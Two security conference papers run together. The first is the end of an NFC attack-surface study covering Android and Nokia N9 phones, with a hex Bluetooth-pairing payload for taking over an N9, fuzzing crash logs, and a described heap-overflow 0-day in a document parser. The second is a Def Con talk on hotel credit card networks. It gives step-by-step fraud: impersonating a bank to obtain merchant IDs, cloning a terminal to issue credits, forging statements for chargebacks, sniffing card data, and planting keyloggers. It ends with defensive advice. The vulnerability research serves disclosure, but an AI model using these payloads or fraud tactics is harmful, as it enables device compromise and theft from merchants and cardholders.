NDEF message is passed from the device beaming to the other device. The data is
sent via Simple NDEF Exchange Protocol (SNEP) with a fallback to NDEF Push
Protocol (NPP), see [17,18,21].
In the end, however, the device does not act any differently whether a particular NDEF
message is received via LLCP/NPP or simply read from a tag. In other words, the
magic of Android Beam has nothing to do with establishing NFC connections between
devices but rather relies entirely on how the device is configured to handle different
NDEF messages when they arrive. What this means is that now instead of vtags and
smart posters being processed by the Tags application, this data is now directly passed
to the Contacts or Browser applications.
Just to reiterate, this means that on ICS devices, if an attacker can get the device to
process an NFC tag, they can get it to visit a web site of their choosing in the Browser
with no user interaction. Obviously, the Browser represents an extremely large attack
surface, and in ICS, that attack surface is now available through NFC!
The Android Browser will parse at least the following formats, if not more:
Type
File format
Web related
html
css
js
xml
Charlie Miller: Exploring the NFC Attack Surface
Type
File format
Image
bmp
gif
ico
jpg
wbmp
svg
png
Audio
mp3
aac
amr
ogg
wav
Video
mp4
3pg
Font
ttf
eot
The way that Android beam works for the other advertised services is simply through
URL handlers. In Android you can bring up Google Play (aka Android MarketPlace), the
Maps application, YouTube, etc. through special URLs passed to the browser. In other
words, instead of the attack surface looking like Figure 1, it really looks like Figure 14,
below.
Charlie Miller: Exploring the NFC Attack Surface
Figure 14: Actual NFC attack surface if NFC can communicate with the browser
Galaxy Nexus - Android 4.1.1
We briefly looked at a Galaxy Nexus running Jelly Bean. It is mostly the same as an
ICS device. There are two small changes. One is that it supports NFC simple
Bluetooth pairing, like the Nokia N9. However, it always prompts before allowing
Bluetooth pairing over NFC. Figure 15 shows an example of the prompt.
Charlie Miller: Exploring the NFC Attack Surface
Figure 15: Android displays a prompt before establishing a Bluetooth Pairing via NFC
The other way Jelly Bean NFC differs is in regards to Android Beam. A few more
applications are configured to accept NFC intents. The list is below.
• BrowserGoogle
• Contacts
• Gmail
• GoogleEarth
• Maps
• Phonesky
• TagGoogle
• YouTube
Otherwise, the Jelly Bean build performs identically as an ICS build with regards to
NFC.
Nokia N9 - MeeGo 1.2 Harmattan PR1.3
The Nokia N9 is a phone running the MeeGo operating system. Out of the box it does
not have NFC enabled. Once enabled, It will process NFC data anytime the screen is
on. If the device is locked, it will process low level NFC data, but handles high level
data differently. None of the attacks outlined later work if the N9 has the screen locked.
Charlie Miller: Exploring the NFC Attack Surface
Typically, when an NFC message is read, a process called conndlgs (Connectivity
Dialogues) displays it to the screen, see Figure 16, below.
Figure 16: conndlgs and its simple interface
The conndlgs process will display options to “view” or “send” which will open up the
appropriate corresponding application or cancel. For example, hitting view for text
NDEFs opens up the notes application while hitting view for smart poster NDEFs opens
up the web browser, called QTWebProcess.
One exception to this rule is Bluetooth pairing. When the device receives an NDEF
Pairing request, it automatically attempts to pair to the requesting device. Depending
on user settings, this may or may not require user interaction, see Figure 17, below. By
default, pairing does not require user interaction. Furthermore, if Bluetooth is disabled,
when an NDEF Pairing request arrives, the device will enable Bluetooth for the user.
Charlie Miller: Exploring the NFC Attack Surface
Figure 17: If the “Confirm sharing and connecting option” is enabled, it forces a prompt
before Bluetooth sharing is performed
Nokia N9’s also have a similar mechanism to Android’s Beam called Content Sharing. It
is possible for one N9 to share data with another N9 over NFC (for small payloads) or
over Bluetooth automatically set up via NFC. Using this mechanism one can force a
Nokia N9 to display images in Gallery, contacts in Contacts, videos in Videos, and
documents such as .txt, .doc, .xls, .pdf, and so forth in Documents. It does not seem to
be possible to force it to open the browser but just about everything else is possible. It
does not require user interaction, even if the setting “Confirm sharing and connecting” is
set to on. The thought of forcing the device to parse arbitrary PDF and MS Office
formats is almost as frightening as having it open up web pages!
One interesting thing is it doesn’t seem to be possible by default to share audio files via
the Music app. However, if you want to, you can share audio files by sharing them
through the Videos app. Just set a breakpoint at open64 in the obex-client process, call
print strcpy($r0, "/home/user/MyDocs/Movies/mv.mp3")
hit continue and the audio file will be shared.
The following is a list of the file formats which can be shared though content sharing.
Charlie Miller: Exploring the NFC Attack Surface
App
File type
Library used (if known)
Contacts
vCard
Gallery
png
libpng 1.2.42 - Jan 2010
jpg
libjpg 6n - 1998
gif
libgif 4.1.6 - 2007
bmp
tiff
libtiff 3.9.4 - Jul 2010
Videos (video-suite)
mp4
wmv
3gp
mp3
aac
flac
wma
amr
wav
ogg
Documents (office-suite)
pdf
poppler 16.6 - May 2011
txt
doc(x)
docximport.so - KDE 4.74 - Dec 2011
xls(x)
xlsximport.so - KDE 4.74
ppt(x)
powerpointimport.so - KDE 4.74
Charlie Miller: Exploring the NFC Attack Surface
Figure 18: Actual Nokia N9 attack surface
Possible attacks
Looking at the above discussion, there are a few avenues of attack. We’ll discuss a few
in detail. In each of them we assume an attacker can get close enough to an active
phone to cause an NFC transaction to occur. We also assume that the screen is on
and, when necessary, the device is not locked. This might be getting very close to
someone using their phone, putting a device next to a legitimate NFC payment terminal,
or using some kind of antenna setup to do it across the room, see [22].
From [23], active reads have been made of NFC from a distance of up to 1.5 meters.
Android NFC Stack bug
If one were to exploit one of the NFC stack bugs shown earlier in Android, you could
imagine exploiting it and getting control of the NFC Service. This isn’t necessarily the
best process for an attacker to control. If you look at the AndroidManfiest.xml file for
com.android.nfc, you see it does not contain Internet permissions. It will be difficult for
an attacker to exfiltrate data over the Internet without this permission, although it is
possible, see [24]. However, the NFC Service does have BLUETOOTH and
BLUETOOTH_ADMIN, so it is probably possible to establish a Bluetooth connection
Charlie Miller: Exploring the NFC Attack Surface
with the attacker. As we’ll see for the N9 below, if an attacker can bluetooth pair with
the device, it is possible to take complete control of the device.
Android Browser
Since an attacker can force an active device to display an arbitrary web page, armed
with an Android browser exploit, an attacker can compromise an active device with an
NFC tag. In this case, the attacker will be running code in the browser itself and not in
the NFC service.
N9 Bluetooth pairing
If the N9 has NFC enabled and does not have “Confirm sharing and connecting”
enabled (see Figure 17), if you present it a Bluetooth Pairing message, it will
automatically pair with the device in the message without user confirmation, even if
Bluetooth is disabled.
An example of such an NDEF message is
[0000] d4 0c 27 6e 6f 6b 69 61 2e 63 6f 6d 3a 62 74 01 ..'nokia.com:bt.
[0010] 00 1d 4f 92 90 e2 20 04 18 31 32 33 34 00 00 00 ..O... ..1234...
[0020] 00 00 00 00 00 00 00 00 00 0c 54 65 73 74 20 6d ..........Test m
[0030] 61 63 62 6f 6f 6b acbook
In this message, a PIN is given as “1234”, a Bluetooth address, and a name of the
device are also provided. Once paired, it is possible to use tools such as obexfs,
gsmsendsms, or xgnokii to perform actions with the device. Basically, if a user just
enables NFC and makes no other changes to the device, it can be completely controlled
by an attacker if the attacker can get it read an NFC tag.
On the other hand, If you have “Confirm sharing and connecting” enabled, a prompt
appears that looks like that seen in Figure 19, below.
Charlie Miller: Exploring the NFC Attack Surface
Figure 19: The prompt raised if notification is required
A similar attack against a Nokia 6212 was outlined in [25] except the authors didn’t
know how to make the device complete the pairing process and so tried additional ways
to try to activate the Bluetooth. Also, due to the fact they never succeeded in pairing,
they uploaded an app instead of trying to control the device. Finally, on the 6212, by
default, the device prompted before pairing where by default the N9 does not.
N9 bugs
If the victim has the Confirm sharing and connecting feature enabled, then the attacker
will have to resort to Content Sharing as an attack vector. Recall that without user
interaction, it is possible to force the Nokia N9 to parse and display a variety of file
formats, oftentimes in outdated libraries.
If one were to try to use PNG files, for example, the version of PNG shipped on the
latest N9 firmwares is 1.2.42. There are at least two critical vulnerabilities that have
been found and patched since that release, as shown in [26].
If one wanted to find their own vulnerabilities, they would just have to spend some time
fuzzing. To demonstrate this, we briefly fuzzed the Documents application on the Nokia
N9. Here are a couple of interesting crashes that we found, as seen in valgrind.
Charlie Miller: Exploring the NFC Attack Surface
First a crash for PPT rendering,
==3572== Thread 2:
==3572== Invalid free() / delete / delete[] / realloc()
==3572== at 0x48347B4: free (vg_replace_malloc.c:366)
==3572== by 0x5DE780F: free_mem (in /lib/libc-2.10.1.so)
==3572== by 0x5DE71F7: __libc_freeres (in /lib/libc-2.10.1.so)
==3572== by 0x48285B7: _vgnU_freeres (vg_preloaded.c:61)
==3572== by 0x5DB5AC3: __libc_enable_asynccancel (libc-cancellation.c:66)
==3572== by 0x6826CAF: ??? (in /lib/libglib-2.0.so.0.2800.4)
==3572== Address 0x7491f30 is not stack'd, malloc'd or (recently) free'd
Here is one for PDF rendering.
==4002== Invalid write of size 1
==4002== at 0x7290FB4: SplashXPathScanner::clipAALine(SplashBitmap*, int*,
int*, int) (in /usr/lib/libpoppler.so.13.0.0)
==4002== Address 0xf8dc5090 is not stack'd, malloc'd or (recently) free'd
Finally, here is one in DOC rendering. (Note, this is a 0-day not only for Nokia N9 via
NFC, but also for Koffice, which utilizes the same libraries). The following excerpt
comes from the file koffice-2.3.3/filters/kword/msword-odf/wv2/src/styles.cpp.
bool STD::read( U16 baseSize, U16 totalSize, OLEStreamReader* stream, bool
preservePos )
...
grupxLen = totalSize - ( stream->tell() - startOffset );
grupx = new U8[ grupxLen ];
int offset = 0;
for ( U8 i = 0; i < cupx; ++i) {
U16 cbUPX = stream->readU16(); // size of the next UPX
stream->seek( -2, G_SEEK_CUR ); // rewind the "lookahead"
cbUPX += 2; // ...and correct the size
for ( U16 j = 0; j < cbUPX; ++j ) {
grupx[ offset + j ] = stream->readU8(); // read the whole UPX
}
...
In this function, it allocates a buffer for the array grupx based on a parameter passed to
this function. It then fills in this array based on an unsigned short read in directly from
the file, stored in the variable cbUPX. In this case, the length of a copy and the data
being copied is read directly from the supplied file, which leads to an ideal heap
overflow. Depending on the way memory is manipulated, it is possible to get control of
the process using this vulnerability. Below demonstrates one such trial.
Program received signal SIGSEGV, Segmentation fault.
0x18ebffaa in ?? ()
(gdb) bt
#0 0x18ebffaa in ?? ()
#1 0x41f61f64 in wvWare::Parser::~Parser() () from /usr/lib/libkowv2.so.9
#2 0x41f6537c in ?? () from /usr/lib/libkowv2.so.9
#3 0x41f6537c in ?? () from /usr/lib/libkowv2.so.9
(gdb) x/2i 0x41f61f5c
Charlie Miller: Exploring the NFC Attack Surface
0x41f61f5c <_ZN6wvWare6ParserD2Ev+232>:
ldr
r12, [r3, #4]
0x41f61f60 <_ZN6wvWare6ParserD2Ev+236>:
blx
r12
(gdb) print /x $r3
$3 = 0x41414141
In this case, a value read from the file is used as a pointer. This data where this pointer
points is then read and used as a function pointer. With minimal work, this would lead
to control of program flow and ultimately code execution.
Summary
Any time a new way for data to enter a device is added, it opens up the possibility of
remote exploitation by an attacker. In the case of NFC, a user would typically think that
the new data would be limited to just a few bytes embedded in an NFC tag. This
document shows that the new attack surface introduced by NFC is actually quite large.
The code responsible for parsing NFC transmissions begins in kernel drivers, proceeds
through services meant to handle NFC data, and eventually ends at applications which
act on that data. We provide techniques and tools to carry out fuzzing of the low level
protocol stacks associated with NFC.
At a higher level, for both the Android and MeeGo device we examined, it is possible
through the NFC interface to make the device, without user interaction, parse web
pages, image files, office documents, videos, etc which most users of NFC would
probably be surprised to learn.
NFC offers convenience to share files and games as well as make mobile payments.
However, since anytime an attacker is in close proximity to a victim, she can force the
victim’s device to parse one of over 20 different formats without user interaction, it has
to raise security concerns.
Charlie Miller: Exploring the NFC Attack Surface
Acknowledgements
This was a long project, mostly out of my comfort zone. I’m sure I’m forgetting some
people but here is a list of folks I’d like to thank for their help in no particular order.
Accuvant: Gave me a paycheck while letting me do this work
Cyber Fast Track: Partially funded all this work
Josh Drake: Android exploitation help
Crowdstrike (especially Georg Wicherski) For sharing and walking me through their
Android browser exploit
Michael Ossmann: GNU Radio help
Travis Goodspeed: Help with N9 basics
Kevin Finisterre: Bluetooth help
Corey Benninger and Max Sobell: GNU Radio and basic NFC stuffs
Collin Mulliner: For trying to help me do NFC memory injection, although I never used it
Adam Laurie: For convincing me that you could do card emulation successfully
Jon Larimer: For pointing out one of my crashes corresponded to the double free they
fixed in 4.0.1
Shawn Moyer: For proofreading this doc!
Charlie Miller: Exploring the NFC Attack Surface
References
[1] ISO 14443 Part 2: Radio frequency power and signal interface http://
www.waazaa.org/download/fcd-14443-2.pdf
[2] NFC and GNU Radio, part 1, Miller, https://www.openrce.org/repositories/users/
camill8/nfc-usrp.pdf
[3] NFC and GNU Radio, part 2, Miller, https://www.openrce.org/repositories/users/
camill8/nfc-usrp-2.pdf
[4] ISO 14443 Part 3: Initialization and anticollision http://www.waazaa.org/download/
fcd-14443-3.pdf
[5] Type 1 Tag Operation Specification http://apps4android.org/nfc-specifications/
NFCForum-TS-Type-1-Tag_1.1.pdf
[6] Interview: Karsten Nohl http://www.thetechherald.com/articles/Interview-Karsten-
Nohl-Mifare-Classic-researcher-speaks-up/6954/
[7] Type 2 Tag Operation Specification http://apps4android.org/nfc-specifications/
NFCForum-TS-Type-2-Tag_1.1.pdf
[8] Type 3 Tag Operation Specification http://apps4android.org/nfc-specifications/
NFCForum-TS-Type-3-Tag_1.1.pdf
[9] Type 4 Tag Operation Specification http://apps4android.org/nfc-specifications/
NFCForum-TS-Type-4-Tag_2.0.pdf
[10] Logical Link Control Protocol NFCForum-TS-LLCP_1.1
[11] NFC Data Exchange Format (NDEF) http://www.maintag.fr/fichiers/pdf-fr/nfcforum-
ts-ndef-1-0.pdf
[12] NFC Record Type Definition (RTD) http://www.maintag.fr/fichiers/pdf-fr/nfcforum-ts-
rtd-1-0-1.pdf
[13] Text Record Type Definition http://www.maintag.fr/fichiers/pdf-fr/nfcforum-ts-rtd-
text-1-0.pdf
[14] proxmark3 http://proxmark3.com/
[15] NFC Digital Protocol ftp://ftp.heanet.ie/disk1/sourceforge/n/project/nf/nfsresearch/
Open%20NFC/custom_layout12.pdf
[16] Fuzzing the Phone in your Phone http://www.blackhat.com/presentations/bh-
usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-PAPER.pdf
[17] Android NPP push protocol http://source.android.com/compatibility/ndef-push-
protocol.pdf
[18] Simple NDEF Exchange Protocol Technical Specification
[19] Platform Versions http://developer.android.com/resources/dashboard/platform-
versions.html
[20] Discover Android http://www.android.com/about/
[21] SNEP protocol and P2P response http://www.libnfc.org/community/topic/559/
android-nfc-snep-protocol-and-p2p-response/
[22] http://2012.hackitoergosum.org/blog/wp-content/uploads/2012/04/HES-2012-
rlifchitz-contactless-payments-insecurity.pdf
[23] Long range NFC Detection, http://www.youtube.com/watch?v=Wwy8ButHbcU
[24] Zero-Permission Android Applications http://leviathansecurity.com/blog/archives/17-
Zero-Permission-Android-Applications.html
Charlie Miller: Exploring the NFC Attack Surface
[25] Practical attacks on NFC enabled cell phones, Verdult and Kooman, http://
www.cs.ru.nl/~rverdult/Practical_attacks_on_NFC_enabled_cell_phones-NFC11.pdf
[26] http://www.libpng.org/pub/png/libpng.html
Other useful references:
Securing Near Field Communications, Kortvedt, http://ntnu.diva-portal.org/smash/get/
diva2:347744/FULLTEXT01
ISO 14443 Library Reference Guide http://www.ti.com/rfid/docs/manuals/refmanuals/
RF-MGR-MNMN-14443-refGuide.pdf
Near Field Communication http://en.wikipedia.org/wiki/Near_field_communication
NDEF Push / Android Beam / NFC Tags Demo Applet http://grundid.de/nfc/
Charlie Miller: Exploring the NFC Attack Surface | pdf |
Credit Card Networks 101 What they are, and how to secure them
by Robert Imhoff-Dousharm
About this document
While this serves as a simi-detailed account of said speech at Def-Con 11, it does leave holes in material to
be presented. Some things are better spoken out, and better interpreted by mannerisms and body language,
or even overhead projector diagrams. Further, as I do hope this is at high levels of information to assist in
learning of credit card networks, it cannot be complete due to exploits, and resolutions, unknown to me. My
knowledge of this technologies my increase by the time this paper is published, and at a "best effort" I will
disclose such information, if lacking here in. For these reason, please do not attribute below information as
full, when considering "propagating" elsewhere.
Please also note that I will refer to mostly hotels and resorts in the document. These vendors have the
largest vulnerable target currently in the credit card market. They are also more likely to have these type of
systems due to their sheer size. Other market segments do have this networks, if you would like to know
more about them, please drop the author a line
Introduction
Credit card networks have grown into a viable and necessary asset in large transaction based businesses.
Are these networks protected? Are there formal security measures to protect these packets from external,
and internal threats? Most network administrators, controllers(CTO) and CIO's are not even aware of credit
card's flow or existence on a network. Further some over protect their switched network, disabling these
systems from working correctly. One needs to have knowledge of these networks, know the possible
exploits, and how to secure them.
Part 1 What are credit card networks, and what is their base design + introduction to credit card flow to
bank
Section 1 How Credit card data gets from point A to point B
So what is the flow of credit cards? Does your card get swiped, then magically the money is removed from
your account? Well obviously not. Lets take a look into what is involved.
So in a nutshell, your flow looks like this (see visual slide attached). Your card gets swiped at a credit card
terminal, lets say a Visa card. Then the information off your magnetic stripe gets put into a buffer on the
terminal, or is sent to a main processing terminal on or off site. Using either a dial-up modem or a lease line,
your card information is transmitted to a front end processor'. A front end processor works as a "Clearing
house" for all banks associated with your card type. The FEP will then generate a transaction ID to your
card. The processor will contact your bank electronically through a private lease line. It will ask two basic
questions Is this a valid account at your bank? Does this account have "X" funds available? If your bank
replies yes to both questions, the FEP will ask the bank to "Hold" (this is a very important point) "X" funds,
for a preset amount of time, the bank will do so, then provide a 6 digit approval code to be sent back to the
merchant. Here the FEP updates your transaction status in their system and adds an authorization flag.
This flag will either be "A" for authorized, "D" for decline, or "R" for voice referral. There are some other
flags, but they are for error reporting, and will not be coved here. Now the FEP sends a response back to the
terminal at the merchant, and reports transaction guidance to the clerk, e.g. have customer sign receipt, call
voice referral center for further guidance, decline acceptance of card. This is considered the "Authorization
cycle" of a card.
At then end of every night, an auditor or clerk, will 'close' the credit cards that were swiped through out the
day. When the cards are 'closed' this triggers the "Settlement Cycle". During this stage the terminal will
contact the FEP through the dial-up or leased line connection. It will then upload a batch of cards,
beginning with a totals report, and ending with a totals report. This is because cards do not get sent with
error checking enabled, for security reasons. When your card gets 'closed', the FEP pulls up your
transaction record, then checks your authorization code in the terminal with the one they have on file, it then
contacts your issuing bank, and asks that funds be moved. The bank then uses a back end processor to
move funds to the merchants account, this is automated through the F.E.P.
There are lots of extra steps involved, and manipulation of transfers in between. Today will be going over
the added steps between the card swipe and the FEP, our credit card networks.
Section 2 How standard credit card networks work
In many situations, a credit card network is needed. Some examples are casinos, hotels, resorts, and retail
chains. When you have a standard casino setup that includes four restaurants, one box office, one front
desk, three bars, and a gift shop, getting all the cards balanced at the end of the night can be an interesting
feat. Not to mention the IT over head in keeping these 'Island' terminals up and running. To reduce the
headache of this nightly job, many large merchants have consolidated the process of authorizing cards,
enter credit card networks.
In our casino example we have ten merchants that require multiple POS (point of sale) devices, and the
ability to authorize cards. This site has a front desk property management system, a food and beverage
software package (2 restaurants, 3 bars) and a lightweight POS system for the box office and gift shop. In
the front desk setup, they have five terminals that can check clients into the hotel, all networked with
Ethernet to a main server that is used for client tracking, and data mining. It can send credit card
authorization request to an authorization terminal over the network to a credit card authorization server, and
have it patch into a credit card FEP front end. Any time the cards are swiped, they will follow this path
across your internal network. Our sample network has a grand total of 22 registers across 3 different types
of POS systems, and they are from two different vendors. They are connected to the CC Server using an
API approach, all moving across ethernet to get there. This is a typical setup at many resort and casino's,
especially here in town (Las Vegas, NV, USA).
With our sample network shown above, there are lots of area's for exploits, especially in the hospitality
industry. So what are this risks? Where do they come from?
Part 2 The inherit risks from simple to complicated
Section 1 Social Engineering
a) Getting money using a credit card terminal
How can we use our charisma to get vendor information, and free money? With the above network style's in
a very infant stage currently, there are lots of kinks to be worked out.
If you have the right tools, and TLA's, you can get what you need from a merchant. Call a hotel, say your
with an issuing bank, and you need there voice merchant account of that site. You need this to verify that
their client was actually at your hotel, and you think someone is using a card in a fraudulent way. Hell give
them your credit card number if they want to look up the guest, they won't find it, but will give you the voice
referral merchant ID. Step one is done!
Call their F.E.P. give them the merchant ID, let them know that there is a problem with your credit card
terminal. Ask if they can help you re download the terminal. They will gladly help out. Using your own
credit card machine, you follow there instructions, and get a fresh terminal. Wow! Now you have your very
own money making machine! Give you and your friends credits (to a Swiss bank?). Buy an unsecured
credit card from Walgreens and they will activate your own non-existents bank account! You money
launders can figure out the rest from there.
b) Getting money directly from the merchant
Through my travels in the credit card industry, I have seen many - for lack of a better word - ignorant clerks
and auditor. One good example was this 200 room hotel, with a jittery accounting auditor. She reported that
a front desk clerk attempted to authorize a client card, and the bank responded with a decline. The clerk let
the guest check in anyway, stating that they would need to get payment fixed on check out. This guests
card account was closed, and they knew that it would not go through. When they left, with an outstanding
bill, the hotel had to "zero" the balance without receiving money. So instead of voiding the card from their
PMS system, they issued a credit to zero the system! That's right, they gave the declined card over $1000
USD!
So what can this tell us about social engineering at the merchant level? It's a lot easier to get money from a
hotel, then to get cell phone source code from Nokia. You have photo shop and on-line banking right? Can
your statement printout show 2 charges on your card suddenly? Sure it can. Faxing it to a hotel to get the
second charge reversed to a credit, sure why not! Does it work, yes. This summer alone, I have spotted
over 20 fraud clams based on this concept, because auditors were confused if they should issue a credit. 2
of which they sent a credit to their client, then called call me for assurance!
Section 2 Network and Internet based attacks
a) Attacking from inside the network
Using shared networks. Too often a hotel will boost "we have Internet access in every room, and Wi-Fi in
the lobby!" and not realize that they are giving their customers access to the same shared media as their
credit cards!
The latest crazy in resorts and hotels, large and small, is high speed Internet access. They love to boast that
they have Wi-Fi access points in their lobby, and Internet hook-up's in every room. This is a great point of
attack for anyone who would like to gain access to credit card numbers. Remember in the credit card
network example, all of the point of sales systems connect to the main authorization engine using an API
approach over ethernet. The company usually does not put firewalls in place to segregate cooperate traffic,
and guest traffic. Thus a simple port sniffing program, similar to F.B.I.'s carnivore, can grab all the packets
on their network. Once you have your target computers IP, based on collected packets, you can grab all the
credit card packets from the PMS to the terminal all day long. While this will obviously give you access to
all the card numbers, and expiration date, it also give you something more important, swipe data. With
swipe data, you can use this to create your very own cards, based on information collected. This is
assuming you have a card magnet machine, which is not cheap. But any pro can just walk in and have a
field day. Even for the weekend hacker, just having CVV2 data, Names, zip codes, card numbers, expiration
date, should do just fine as well.
b) Attacking from outside the network in
Now what if they don't provided Internet access to their clients, how could we get card data? Through their
non-existent firewall. Picture this I get a call in from a site that just got setup. They report that their credit
card terminal is not authorizing cards. So first I check to see if the software is running correctly. On the
software, it reports that there is an Internet connection problem. I ask the client about his network, and how
he connects to the Internet, it went something like this,
"Oh I have 3 computers connected to this LinkSYS firewall / router / switch. Yeah this thing is great, it
connects all my computers to the Internet". I nearly shit a brick.
"So you have your credit card terminal going out to the Internet through this device, with no firewall to
protect your network?" I inquire.
"No, no, it is a firewall router combo, see I do have a firewall protecting me!" He proclaims.
"Does it deny incoming packets on X port? You know the one that our software is running on?"
"Uh, well, I don't know what X port is, or what a "port" is, is this bad?"
Lets elaborate a possible situation. I'm a port scanning freak, doing the rundown of the neighbors on my net
block, and I run across a response on "X" port from this guys so called "firewall". "Why what is this?". I
quickly start monitoring packets, and find credit card data! Jackpot! Good for me, not good for $59 all in
one router hotel. Get the point? So what are you waiting for start scanning!
Section 3 Reading ip packets from a PMS to a credit card terminal
When sending credit card packets across a "trusted" network, there usually is no encrypting of data. So
when you grab these packets, they are usually clear text. So how do we understand what really in them?
Writing the code for an API interface can be pretty straight forward on the socket end, open a port and
listen for incoming traffic, when received, examine data, and push to an authorization process. So how can
we read the data coming in on said open port? Well this data can be sent three basic ways ASCII (clear
text), binary, or as encrypted traffic (which would first be unwrapped, then sent to get authorized. Since this
data is coming from a different (usually) vendors software, they usually same their programers the time, and
only have ASCII sent across from their interface. This is of course, overly simplified, but will use this for
our example.
Most packets that come across usually do not need to be read in a hex editor, just opening notepad, and
sifting through the junk will be enough. With these packets, certain fields must be transmitted (card
number, exp date, dollar amount, etc.). If it is coming across clear it will usually read
Client Name X
Card Number X
EXP Date X
Invoice X
Auth Type X
AVS X
CVV2 X
Primary Amount X
Secondary Amount X
This will have date and time marked with each line of information, and there are dozens of other fields that
can be sent as well, such as corporate ID (for lower discount rates) and checksum information. The point
here is, after staring at your captured data, it will only take about 5 min to figure out what is what from an
ASCII data stream, as surprisingly, programers make transmission of this data very high level.
Section 4 The ex-employee
So you can't get the grasp of the check-in process, or you really don't know how to balance the books that
well, so the company let you go. But, you didn't think this was fair, you tell all your friend that this hotel is a
shady place, and the manager is a prick. What if one of those friends was 1337, and took interest in this...
So your jerk-off friend, who has a different job every other month tells you that his last one was bull shit.
He goes on to say "That place is a dump, hell one time the manager change my password and didn't tell me".
You push for him to tell you more. "Well, it's everyone's password, he did it on accident, because he
though he was logged in with his account". Everyone's passwords? "Yeah, we all logged in with the same
user and password, why?"
So you take that user name and password, and get out of him that they use "2000Blue front desk suite".
You learn about this software, and pay a visit to the hotel. "Hi, I'm Joe from 2000Blue, I came to apply a
patch to your software, Jake "the boss" Johnson should have called to tell you I was coming in..." Or. Stop
on by when they have low volume at front desk, hop in and drop your key logger / spyware into the system,
you have the password. Now you get emailed credit card numbers!
In summary, you all have big imagination with what you could do with default user name/passwords, have a
field day!
Section 5 The main point
When you have a small medium or large business, it's always important to have good security. Most of
these examples, and my credit card experience, is in the hospitality industry. For some odd reason, they
never got the memo that security is a good thing. Most are focused on "Customer Satisfaction" "Tai Chi /
Guest experience" and, for smaller hotels, easy money with a simple business plan. This leaves the hotel
industry wide open for exploits when the upgrade their credit card authorization to internal networks tying
into modems and the Internet. Even with the flood of computer professionals on the market, they look to the
bottom line, and cannot justify "proactive" hiring, only seasonal "reactive". Further the credit card industry
is very loose and dynamic right now. There are many unregulated area's, even for an industry as sensitive
as it is. There has been no real push to make it fully secure, so this leaves us with a new target to lean in on.
What if I did work at a hotel, and I wanted to protect my card assets? What would be necessarily? Is it all
that hard to secure my credit card networks?
Part 3 How this can be avoided
Section 1 Protecting against social engineering
There are many different ways to protect against this method, good and bad. When a client of mine went
overboard, and thought he was being attacked by terrorist, calling his manager and demanding the police
put a trace on his phone- This for me calling in to do a software patch update - things can obviously get out
of hand. But it does not have to be that tight. If someone calls in to do work, call them back, listen for an
automated service that give out the company name. Check that the number they provide is the same you
have on file when you call them. Call the vendor back, but only with the support number you have.
When people want free money from you, sometimes training the whole staff will not get the message across,
and it can coast too much, if it will only happen once to you. Delegate one or two people, maybe an auditor,
who can handle charge back requests exclusively. Always, always, always call your bank to verify that
money was or was not deposited into your account from said client, don't assume your system is right, or
the client for that matter. This applies, even if they fax a statement in.
Section 2 Protecting your network
What merchants fail to understand is that they have a large amount of sensitive data going across their
network, and they have no concept of "Plugging holes". Even in a half-hearted way. We are in the middle
of a bad recession, now more then every merchants are using "If it's not broke..." analogy's to justify why
they leave back doors open. They refuse to invest money into protected their most valuable assets, their
clients. Even still, just investing in good security practices, and making even a modest investment in
network security would close 99% of the hacks they are currently exposed to.
Using unique ID's is not just good practice, it is a regulation for anyone entering in, or accessing credit
cards to a credit card network. Limiting access and rights also falls under this category. Make sure when
someone gets fired, their accounts are deactivated. Have cooperate traffic separate from client "in room"
traffic, and Wi-Fi hot spots in the lobby is also essential. Having a business class firewall is required for all
merchants who propagate traffic across the Internet, secured or not. When big credit card vendors (Visa,
Master Card, etc) really start their audit of merchants, fines can and will be accrual, and acceptance rights
will be revoked. This of corse, is pretty obvious to you, but not to the non-existent network administrators
out there.
My only point with firewalls everyone knows, close all ports, period. What hard about opening a port for
credit card traffic with a rule like "allow ip from x to y out established portx" and "deny ip from y to x in
portx". Well to that effect anyway.
Section 3 Protecting you against yourself
Although many sites may be locked down, and traffic separated, there still lays a risk of compromise. A
smart hack may work part-time for you, helping out to make ends meet during the recession, or just cause it's
a quick buck during his college years. As small as computers are getting, he could drop one in on your
network and still grab packets. What can be done about these obscure threats? Encrypt traffic from POS
systems to Credit Card Terminal systems. Adding services like internal VPN or Stunnel technology would
plug up this type of hole. Even if you could not afford to segregate traffic, simply putting this in place
would null in void 90% of problems to began with.
Another afterthought on protecting you against you, mission critical, it is a good word to label a credit card
terminal. Most cc network terminals are nothing more then software and services installed on windows and
UNIX based PC's. It shows fitting that some see this computer as a multimedia device, an Internet terminal,
or even an extra computer used for LAN games. During your boring life as a sales associate, playing games
on your cell phone, or bringing in a Game Boy can help. But it's this easy to use a device for something
other then it's purpose, such as a cell phone, that drives people to this madness. When I questioned my co-
worker on why someone would do this he replied "If a normal credit card terminal at the register could play
video games, they would install them on it!" I guess this is human nature. My reply STOP IT! Don't waste
my time because a virus got on your credit card terminal, because the email told you to run it's attached
program. And yes this is the hell that is my day to day routine, like said before, people just don't care, and
these things happen.
Part 4 General Points of interest
Section 1 Visa CISP (Cardholder Information Security Program)
Visa CISP Audit guideline is a great place to start when attempting to protect your business from credit card
fraud electronically. CISP stands for "Cardholder Information Security Program". It has been in existence
for over 2 years, although it has only been fully implemented and followed in recent months. Following
basic guidelines that they have provided will surely give you more piece of mind. They have created a
"Digital Dozen(tm)" list. This list is their twelve basic steps you can use to protect your credit card network.
They are Install and maintain a working firewall, keep patches up-to-date, protect stored data, encrypt data
across public networks, use anti-virus software, restrict access, use unique ID's for your users, avoid
vendor default passwords, track access to data, have a security audit regularly, have an information security
policy, restrict physical access to data.
Now obviously these are all "Duh" remarks, but, remember some of my cases studies. Companies have no
regard for these simple to implement systems. Further they are in violation of Visa policy when they do not
comply with the "Digital Dozen(tm)" program. So, just setup a security audit, take the time to update service
packs, and create unique user ID's. For heaven's sake, get rid of that lynksys route / firewall / WEP / cheese
grader!
Section 2 Unavoidable Threats
Although you can do your part, and protect your information to a "T", sometimes this is not enough.
F.E.P.'s and ISO's can sometimes be lazy, and not make full checks of your identity. For this reason, basic
card terminals are being cloned every day. Sometimes by people who work for these companies, and have
full access to merchant information. While the industry is working to get better security in place, there is
still no "Great White Hype" as of yet. This is why I am strongly against these terminals. With credit card
networks, their is a higher attention to detail with security, and the software is not fully available to the
public. Until a more premeditate solution is in place, all you can do is keep close tabs on your bank
accounts.
Conclusion
Basically, as long as merchants take their networks from an objective standpoint, and put good procedures
in place, they should have nothing to worry about. But, if they do not, watch out, because now they have
an army of enlightened soldiers coming after them!
Use last 10 min. for Q/A of credit card networks
References
Notice These resources were used to either assist in creating this paper, or are links to many related topic's.
